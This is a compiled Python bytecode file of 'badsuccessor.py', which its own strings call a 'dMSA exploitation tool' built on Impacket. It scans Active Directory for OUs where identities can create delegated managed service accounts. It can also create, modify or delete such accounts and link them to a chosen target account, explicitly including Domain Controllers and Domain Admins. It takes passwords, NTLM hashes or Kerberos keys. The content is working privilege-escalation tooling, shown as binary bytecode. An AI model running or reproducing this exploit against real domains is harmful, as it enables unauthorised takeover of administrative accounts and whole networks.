o
    àý°j¸ˆ  ã                
   @   sÆ  d dl mZ d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
mZ d dlmZ d dlmZmZmZ d dlmZ d dlZG d	d
„ d
ƒZedk�raeejƒ ejddd�Zejddddd� ejddddd� ejdg d¢ddd� ejddddd� ejddd d!d� ejd"dd d#d$d%� ejd&dd'd(d� ejd)d*d+d,� ejd-d*d.d,� ejd/d0d1gd1d2d� ejd3ed4d5gd6d7� e d0¡Zejd8dd9d:d� e d;¡Zejd<dd=d>d� ejd?d*d@d,� ejdAd*dBd,� ejdCddDdEd� ejdFddGdHd� ejdIddJdKd� eej ƒdLk�r"e !¡  e "dL¡ e #¡ Z$e$j%dMk�rEg Z&e$j'�s7e& (d¡ e&�rDe )dNdO *e&¡ ¡ nXe$j%dPk�rmg Z&e$j+�sVe& (d¡ e$j'�s_e& (d¡ e&�rle )dQdO *e&¡ ¡ n0e$j%dRk�r�g Z&e$j+�s~e& (d¡ e$j'�s‡e& (d¡ e$j,�s�e& (d"¡ e&�r�e )dSdO *e&¡ ¡ e -e$j.e$j/¡ dTe$j0v �re$j1du �ree$j0ƒ\Z2Z3Z4Z5e2dUk�rÉe 6dV¡ e "dL¡ e5e$_1e4dUk�rðe3dUk�rðe$j7du �rðe$j8�sðe$j9du �rðd dWl:m:Z: e:dXƒZ4dUZ;dUZ<e$j7du�r	e$j7 =dY¡\Z;Z<e;dUk�r	dZZ;e$j9du�rde$_>nee$j0e$j7e$j8e$j9e$j>ƒ\Z2Z3Z4Z;Z<e$_>e2dUk�r6e 6dV¡ e "dL¡ zee3e4e2e;e<e$ƒZ?e? @¡  W dS  eA�y` ZB zeeCeBƒƒ W Y dZB[BdS dZB[Bww dS )[é    )Údivision)Úprint_function)Úunicode_literalsN)Úversion)Úlogger)Úparse_identityÚparse_targetÚinit_ldap_session)Ú	ldaptypesc                   @   sl   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ ZdS )ÚBADSUCCESSORc                 C   sZ  || _ || _|| _|| _|| _|j| _|j| _|j	| _
|j	| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _| jd urP| j| _| jdvr\t d| j ƒ‚| jrh|j	d u rht dƒ‚| jdkrzd| jvrzt! "d| j ¡ | j
d u r�d| jvrŒt! "d| j ¡ | j| _
| jd u r©| jdkrŸd	| _d S | jdkr«d
| _d S d S d S )N)ÚLDAPÚLDAPSzUnsupported method %sz?Kerberos auth requires DNS name of the target DC. Use -dc-host.r   Ú.zD'%s' doesn't look like a FQDN. Generating baseDN will probably fail.zcNo DC host set and '%s' doesn't look like a FQDN. DNS resolution of short names will probably fail.r   é…  é|  )#Ú_BADSUCCESSOR__usernameÚ_BADSUCCESSOR__passwordÚ_BADSUCCESSOR__domainÚ_BADSUCCESSOR__lmhashÚ_BADSUCCESSOR__nthashÚaesKeyÚ_BADSUCCESSOR__aesKeyÚkÚ_BADSUCCESSOR__doKerberosÚdc_hostÚ_BADSUCCESSOR__targetÚ_BADSUCCESSOR__kdcHostÚ	dmsa_nameÚ_BADSUCCESSOR__dmsaNameÚmethodÚ_BADSUCCESSOR__methodÚportÚ_BADSUCCESSOR__portÚactionÚ_BADSUCCESSOR__actionÚdc_ipÚ_BADSUCCESSOR__targetIpÚbaseDNÚ_BADSUCCESSOR__baseDNÚ	target_ouÚ_BADSUCCESSOR__targetOuÚprincipals_allowedÚ _BADSUCCESSOR__principalsAllowedÚtarget_accountÚ_BADSUCCESSOR__targetAccountÚdns_hostnameÚ_BADSUCCESSOR__dnsHostNameÚ
ValueErrorÚloggingÚwarning)ÚselfÚusernameÚpasswordÚdomainÚlmhashÚnthashÚcmdLineOptions© r;   úŒ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/badsuccessor.pyÚ__init__&   sL   








üzBADSUCCESSOR.__init__c                 C   sŽ  | j d u r$| j d¡}d| _ |D ]}|  j d| 7  _ q| j d d… | _ z@| jdk}| jr@| jr3| jn| j}| jr<| jn| j}n| jrF| jn| j}| j}t| j| j	| j
| j| j| j||| j|d�
\}}W n tyx } ztdt|ƒ ƒ‚d }~ww |r}|n|}	t d|	| j| j	f ¡ | jd	kr–|  |¡}
n+| jd
kr¡|  |¡}
n | jdkr¬|  |¡}
n| jdkr·|  |¡}
n
t d| j ¡ d}
| ¡  |
S )Nr   Ú zdc=%s,éÿÿÿÿr   )
r7   r5   r6   r8   r9   r   r%   r   r   Ú	use_ldapsz$Could not connect to LDAP server: %szConnected to %s as %s\%sÚaddÚdeleteÚmodifyÚsearchzUnknown action: %sF)r(   r   Úsplitr    r   r   r   r&   r	   r   r   r   r   r   Ú	ExceptionÚstrr2   Úinfor$   Úadd_dmsaÚdelete_dmsaÚmodify_dmsaÚ
search_ousÚerrorÚunbind)r4   ÚdomainPartsÚir@   Útarget_hostr%   Ú_ÚldapConnectionÚeÚ	connectToÚresultr;   r;   r<   ÚrunR   sV   

ö€ÿ



zBADSUCCESSOR.runc              
   C   s  zq| j st d¡ W dS | jst d¡ W dS d| j | jf }|  ||¡s/t d| ¡ W dS | |¡}t d¡ t dd ¡ t dd	 ¡ t dd
d| j  f ¡ t dd|r[dndf ¡ |so|jrot dd|jf ¡ |W S  ty� } zt dt	|ƒ ¡ W Y d }~dS d }~ww )Nz=dMSA name is required for deletion. Use -dmsa-name parameter.FzBTarget OU is required for dMSA deletion. Use -target-ou parameter.úCN=%s,%súdMSA account does not exist: %sr>   ú%-30s %s)zdMSA Deletion Resultsr>   ©ú------------------------------r\   ú
dMSA Name:ú%s$zStatus:ÚSUCCESSÚFAILEDzError:zdMSA deletion failed: %s)
r   r2   rM   r*   Úcheck_account_existsrB   rH   rV   rF   rG   )r4   rS   Údmsa_dnÚsuccessrT   r;   r;   r<   rJ   Œ   s2   




€þzBADSUCCESSOR.delete_dmsac              
   C   sd   z|j |dtjdgd�}|ot|jƒdkW S  ty1 } zt dt|ƒ ¡ W Y d }~dS d }~ww )Nz(objectClass=*)Úcn©Úsearch_baseÚsearch_filterÚsearch_scopeÚ
attributesr   z$Error checking account existence: %sF)	rD   Úldap3ÚBASEÚlenÚentriesrF   r2   ÚdebugrG   )r4   rS   Údnrc   rT   r;   r;   r<   ra   ¬   s   ü€ýz!BADSUCCESSOR.check_account_existsc                    sÎ  �zHt  d¡ |jst  d¡ W dS |j| jdtjddgd�}|s,t  d|j ¡ W dS d}|j	D ]'}d|vr@t  d	|j
 ¡ q1d
|jjv sLd|jjv rXt  d|j
 ¡ d} nq1|set  d¡ t  d¡ |j| jdtjddgtjjjdd�d�}|s†t  d|j ¡ W dS t|j	ƒ}t  dt|ƒ ¡ z$|j| jdtjdgd�}|r·t|j	ƒdkr·|j	d }d|v r·|jj}W n tyÕ } zt  dt|ƒ ¡ W Y d }~W dS d }~ww i }ddddd œ}	d!d"d#œ}
|D �] }zët|j
ƒ}d|vs÷|jjsùW qæ|jj}tj|d$�}|d% }|�r¢t|d&ƒ�r¢|j�r¢|jD ]Š}tjjtjjg}|d' |v�r*�qt|d( d) d) ƒ‰ t ‡ fd*d+„|	 !¡ D ƒƒ}|�sF�q|d( }|d' tjjk�rW|d, nd }|�rrtt"j#|d-�ƒ $¡ }t  %|¡ ||
v�rr�q|d( d.  &¡ }|  '||¡�rƒ�q|  (||¡}||v�r’g ||< ||| v�r ||  )|¡ �qz,|d/  &¡ }|  '||¡�sÍ|  (||¡}||v�r¿g ||< ||| v�rÍ||  )|¡ W n   Y W qæ t�yç } zW Y d }~qæd }~ww |�r(t  d0t|ƒ ¡ t  d1¡ t  d2d3 ¡ t  d2d4 ¡ | *¡ D ]\}}d5d6 +|¡ }t  d2|d d7… |f ¡ �qW dS t  d8¡ t  d1¡ t  d2d3 ¡ t  d2d4 ¡ t  d2d9 ¡ W dS  t�yf } zt  d:t|ƒ ¡ W Y d }~dS d }~ww );Nz6Searching for OUs vulnerable to BadSuccessor attack...zLDAP connection is not boundFzc(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))ÚoperatingSystemÚoperatingSystemVersionre   z+Failed to search for Domain Controllers: %szICould not retrieve operating system information for Domain Controller: %szWindows Server 2025Ú26100z/Found Windows Server 2025 Domain Controller: %sTzrNo Windows Server 2025 Domain Controllers found. This script requires at least one DC running Windows Server 2025.zeResulting list of Identities/OUs will show Identities that have permissions to create objects in OUs.z (objectClass=organizationalUnit)ÚdistinguishedNameÚnTSecurityDescriptoré   )Úsdflags)rf   rg   rh   ri   Úcontrolsz-Failed to search for organizational units: %szFound %d organizational unitsz(objectClass=domain)Ú	objectSidr   z!Failed to retrieve domain SID: %sé   é   i   i   )ÚCreateChildÚ
GenericAllÚ	WriteDACLÚ
WriteOwnerzAll Objectsú#msDS-DelegatedManagedServiceAccount)z$00000000-0000-0000-0000-000000000000z$0feb936f-47b3-49f2-9386-1dedc2c23765)ÚdataÚDaclÚacesÚAceTypeÚAceÚMaskc                 3   s   � | ]}ˆ |@ V  qd S )Nr;   )Ú.0Úright_value©Úmaskr;   r<   Ú	<genexpr>&  s   € z*BADSUCCESSOR.search_ous.<locals>.<genexpr>Ú
ObjectType)Úbytes_leÚSidÚOwnerSidz1Found %d identities with BadSuccessor privileges:r>   z%-50s %s)ÚIdentityzVulnerable OUs)z2--------------------------------------------------r\   z{%s}ú, é2   z0No identities found with BadSuccessor privileges)ú(none)r’   zBadSuccessor search failed: %s),r2   rH   ÚboundrM   rD   r(   rj   ÚSUBTREErV   rm   Úentry_dnrp   Úvaluerq   ÚprotocolÚ	microsoftÚsecurity_descriptor_controlÚlistrl   rk   rx   rF   rG   rt   r
   ÚSR_SECURITY_DESCRIPTORÚhasattrr‚   ÚACCESS_ALLOWED_ACEÚACE_TYPEÚACCESS_ALLOWED_OBJECT_ACEÚintÚanyÚvaluesÚuuidÚUUIDÚlowerrn   ÚformatCanonicalÚis_excluded_sidÚresolve_sid_to_nameÚappendÚitemsÚjoin)r4   rS   rc   Úprereq_flagÚentryÚ
ou_entriesÚ
domain_sidrT   Úallowed_identitiesÚrelevant_rightsÚrelevant_object_typesÚou_dnÚsd_dataÚsdÚdaclÚaceÚallowed_typesÚhas_relevant_rightÚace_dataÚobject_typeÚobject_guidÚsidÚidentityÚ	owner_sidÚousÚou_listr;   rˆ   r<   rL   ¼   s  

ü
ý

û	
ü
€€þüþ


þ


€
€€€ÿ

û
€þzBADSUCCESSOR.search_ousc                 C   sH   ddg}ddg}||v rdS |r"|  |¡r"|D ]
}| |¡r! dS qdS )NúS-1-5-32-544úS-1-5-18z-512z-519TF)Ú
startswithÚendswith)r4   r½   r¯   Úexcluded_sidsÚexcluded_suffixesÚsuffixr;   r;   r<   r§   a  s   
ÿzBADSUCCESSOR.is_excluded_sidc                 C   sÒ   zIddddddddd	d
dddœ}||v r|| W S |j | jd| tjdgd�}|rGt|jƒdkrG|jd }d|v rG|jj}d| j 	¡ |f W S |W S  t
yh } zt d|t|ƒf ¡ |W  Y d }~S d }~ww )NÚEveryonez NT AUTHORITY\Authenticated UserszBUILTIN\AdministratorszBUILTIN\UserszBUILTIN\GuestszNT AUTHORITY\SYSTEMzNT AUTHORITY\LOCAL SERVICEzNT AUTHORITY\NETWORK SERVICEzCREATOR OWNERzCREATOR GROUPz*NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSzNT AUTHORITY\SELF)zS-1-1-0zS-1-5-11rÂ   zS-1-5-32-545zS-1-5-32-546rÃ   zS-1-5-19zS-1-5-20zS-1-3-0zS-1-3-1zS-1-5-9zS-1-5-10z(objectSid=%s)ÚsAMAccountNamere   r   z%s\%szError resolving SID %s: %s)rD   r(   rj   r”   rl   rm   rÊ   r–   r   ÚupperrF   r2   rn   rG   )r4   rS   r½   Úwell_known_sidsrc   r­   r5   rT   r;   r;   r<   r¨   o  sB   ô
ü
€þz BADSUCCESSOR.resolve_sid_to_namec                 C   s$   d  tjtjtj dd�¡}d| S )Nr>   é   )r   zdMSA-%s)r«   ÚrandomÚchoicesÚstringÚascii_uppercaseÚdigits)r4   Úrandom_suffixr;   r;   r<   Úgenerate_dmsa_name˜  s   zBADSUCCESSOR.generate_dmsa_namec              
   C   s2  z||sW d S t |tƒr| d¡}t|ƒdk rW d S |d }|d }d|d  }t|ƒ|k r0W d S t |dd… d¡}g }t|ƒD ]$}d|d  }|d t|ƒkrdt |||d … d¡}	| t|	ƒ¡ q@ |rtd	||d
 |¡f }
|
W S d||f }
|
W S  t	y˜ } zt
 dt|ƒ ¡ W Y d }~d S d }~ww )Nzlatin-1rÍ   r   ry   é   é   ÚbigÚlittlez
S-%d-%d-%sú-zS-%d-%dz(Error converting SID bytes to string: %s)Ú
isinstancerG   Úencoderl   r    Ú
from_bytesÚranger©   r«   rF   r2   rn   )r4   Ú	sid_bytesÚrevisionÚauthority_countÚexpected_lengthÚ	authorityÚsubauthoritiesrP   ÚoffsetÚsubauthÚ
sid_stringrT   r;   r;   r<   Úconvert_sid_to_stringœ  s<   

þ€þz"BADSUCCESSOR.convert_sid_to_stringc           
   
   C   sÎ  zÊ|sW d S t |tƒr| d¡r|}nW d S |  |¡}|s W d S t ¡ }d|d< d|d< d|d< t ¡ |d< |d  |¡ d	|d
< d	|d< t ¡ }d|d< d|d< d|d< g |_	t 
¡ }tjj|d< d|d< t ¡ }t ¡ |d< d|d d< t ¡ |d< |d  |¡ ||d< |j	 |¡ t 
¡ }tjj|d< d|d< t ¡ }t ¡ |d< d|d d< t ¡ |d< |d  |¡ ||d< |j	 |¡ ||d< | ¡ W S  tyæ }	 zt dt|	ƒ ¡ W Y d }	~	d S d }	~	ww )NzS-ó   ÚRevisionó    ÚSbz1i€  ÚControlrŽ   ó    ÚGroupSidÚSaclrÕ   ÚAclRevisionr   ÚSbz2rƒ   ÚAceFlagsr…   iÿ r�   r„   rz   r�   z&Error building security descriptor: %s)rÚ   rG   rÄ   rç   r
   r›   ÚLDAP_SIDÚfromCanonicalÚACLr‚   ÚACEr�   rž   ÚACCESS_MASKr©   ÚgetDatarF   r2   rn   )
r4   Úuser_sidræ   rµ   ÚaclÚnace1Úacedata1Únace2Úacedata2rT   r;   r;   r<   Úbuild_security_descriptorÄ  sd   



€þz&BADSUCCESSOR.build_security_descriptorc              
   C   s4  �z{| j s
|  ¡ | _ | jst d¡ W dS d| j | jf }|  ||¡r-t d| ¡ W dS | jr3| jn| j}| jr<| jnd}| j	rD| j	n	d| j  
¡ | jf }|rTd|vr^d| j  
¡ | jf }dg| j d	| j  |d
dddddœ	}d }z5d| }|j| j|tjdgd�}	|	r¥t|jƒdkr¥|jd }
d|
v r¥|
jj}|r¥|  |¡}|}||d< W n tyÃ } zt dt|ƒ ¡ W Y d }~W dS d }~ww |rÊ||d< d }|j| jd| tjddgd�}	|	�rt|jƒdk�r|jD ]}
dd„ |
jjD ƒ}d|v sýd|v �rt|
jƒ}qét|jd jƒ}|�r||d< n
t d| ¡ W dS |j||d �}	|	�rnt d!¡ t d"d# ¡ t d"d$d	| j  f ¡ t d"d%| d&d'¡f ¡ t d"d(| d)d'¡f ¡ t d"d*|f ¡ t d"d+|f ¡ W d,S |j�rzt d-|j ¡ W dS  t�y™ } zt d.t|ƒ ¡ W Y d }~dS d }~ww )/NzBTarget OU is required for dMSA creation. Use -target-ou parameter.FrX   zdMSA account already exists: %sÚAdministratorz%s.%sr   r   r^   i   é   rÖ   é   l   ÿÿÿÿ )	ÚobjectClassrd   rÊ   ÚdNSHostNameÚuserAccountControlzmsDS-ManagedPasswordIntervalúmsDS-DelegatedMSAStatezmsDS-SupportedEncryptionTypesÚaccountExpiresz((&(objectClass=user)(sAMAccountName=%s))rx   re   r   rt   z!Error building MSA membership: %szmsDS-GroupMSAMembershipú%(&(objectClass=*)(sAMAccountName=%s))rs   r  c                 S   ó   g | ]}t |ƒ ¡ ‘qS r;   ©rG   r¥   ©r†   Úocr;   r;   r<   Ú
<listcomp>A  ó    z)BADSUCCESSOR.add_dmsa.<locals>.<listcomp>ÚuserÚcomputerú!msDS-ManagedAccountPrecededByLinkúTarget account not found: %s)ri   r>   rZ   r[   r]   zDNS Hostname:r  ÚUnknownzMigration status: r  zPrincipals Allowed:zTarget Account:TzLDAP error: %szdMSA creation failed: %s)r   rÔ   r*   r2   rM   ra   r,   r   r.   r0   r¥   r   rD   r(   rj   r”   rl   rm   rx   r–   rÿ   rF   rn   rG   r  r¢   r•   rA   rH   ÚgetrV   )r4   rS   rb   r+   r-   r/   ri   Úgroup_msa_membershiprg   rc   r­   rù   Ú
descriptorrT   Ú	target_dnÚobject_classesr;   r;   r<   rI   ü  s®   

 ÷ü

€€þü

€€
€þzBADSUCCESSOR.add_dmsac           
   
   C   sÊ  zÈd| j | jf }|  ||¡st d| ¡ W dS |j|dtjdgd�}d }|r>t|j	ƒdkr>|j	d }t
|dƒr>|d j}|j| jd| j tjd	d
gd�}|rWt|j	ƒdksbt d| j ¡ W dS d }|j	D ]}dd„ |jjD ƒ}d|v szd|v r�t|jƒ} nqg|sŒt|j	d jƒ}||krŸt d| ¡ t d¡ W dS dtj|gfgi}| ||¡}|r¾t d|p¶d|f ¡ W dS t d|j ¡ W dS  tyä }	 zt dt|	ƒ ¡ W Y d }	~	dS d }	~	ww )NrX   rY   Fz1(objectClass=msDS-DelegatedManagedServiceAccount)r  re   r   r  rs   r  r  c                 S   r	  r;   r
  r  r;   r;   r<   r  ‡  r  z,BADSUCCESSOR.modify_dmsa.<locals>.<listcomp>r  r  z$Target account is already set to: %szNo modifications needed.Tz&dMSA target account modified: %s -> %sz	(not set)zFailed to modify dMSA: %szError modifying dMSA: %s)r   r*   ra   r2   rM   rD   rj   rk   rl   rm   rœ   r–   r(   r.   r”   r  r¢   rG   r•   rH   ÚMODIFY_REPLACErC   rV   rF   )
r4   rS   rb   rc   Úcurrent_target_dnr­   r  r  ÚmodificationsrT   r;   r;   r<   rK   d  sf   ü


ü

þ
ÿ€þzBADSUCCESSOR.modify_dmsaN)Ú__name__Ú
__module__Ú__qualname__r=   rW   rJ   ra   rL   r§   r¨   rÔ   rç   rÿ   rI   rK   r;   r;   r;   r<   r   %   s    ,:  &)(8hr   Ú__main__TzdMSA exploitation tool.)Úadd_helpÚdescriptionÚaccountÚstorez[domain/]username[:password]z#Account used to authenticate to DC.)r#   ÚmetavarÚhelpz
-dmsa-namer   zHName of dMSA to add. If omitted, a random dMSA-[A-Z0-9]{8} will be used.z-action)rA   rB   rC   rD   rD   z§Action to perform: add (requires -target-ou), delete (requires -dmsa-name, -target-ou), modify (requires -dmsa-name, -target-ou and -target-account), or search a dMSA.)rÏ   Údefaultr%  z
-target-ouÚOU_DNzZSpecific OU to check for dMSA creation capabilities (e.g., "OU=weakOU,DC=domain,DC=local")z-principals-allowedÚUSERNAMEz]Username allowed to retrieve the managed password. If omitted, current username will be used.z-target-accountr   z•Target user or computer account DN to set for msDS-ManagedAccountPrecededByLink (can target Domain Controllers, Domain Admins, Protected Users, etc.))r#   r$  r&  r%  z-dns-hostnameÚHOSTNAMEzLDNS hostname for the dMSA. If omitted, will be generated as dmsaname.domain.z-tsÚ
store_truez&Adds timestamp to every logging output)r#   r%  z-debugzTurn DEBUG output ONz-methodr   r   zbMethod of adding the computer. LDAPS has some certificate requirements and isn't always available.z-portr   r   zCDestination port to connect to. LDAP defaults to 389, LDAPS to 636.)ÚtyperÏ   r%  z-baseDNzDC=test,DC=localzhSet baseDN for LDAP. If ommited, the domain part (FQDN) specified in the account parameter will be used.Úauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzÂUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z-dc-hostÚhostnamez|Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be usedz-dc-ipÚipzKIP of the domain controller to use. Useful if you can't translate the FQDN.ry   rA   z1Action "add" requires the following arguments: %sr�   rB   z4Action "delete" requires the following arguments: %srC   z4Action "modify" requires the following arguments: %sú@r>   zDomain should be specified!)Úgetpassz	Password:ú:Ú AAD3B435B51404EEAAD3B435B51404EE)DÚ
__future__r   r   r   Úargparser2   rÎ   rÐ   Úsysrj   Úimpacketr   Úimpacket.examplesr   Úimpacket.examples.utilsr   r   r	   Úimpacket.ldapr
   r£   r   r  ÚprintÚBANNERÚArgumentParserÚparserÚadd_argumentr    Úadd_argument_groupÚgrouprl   ÚargvÚ
print_helpÚexitÚ
parse_argsÚoptionsr#   Úrequired_argsr)   r©   rM   r«   r   r-   ÚinitÚtsrn   r"  r   r7   r5   r6   Úremote_hostÚcriticalÚhashesÚno_passr   r0  r8   r9   rE   r   ÚexecuterrW   rF   rT   rG   r;   r;   r;   r<   Ú<module>   sÐ        





€

€





4
€(


€ÿ 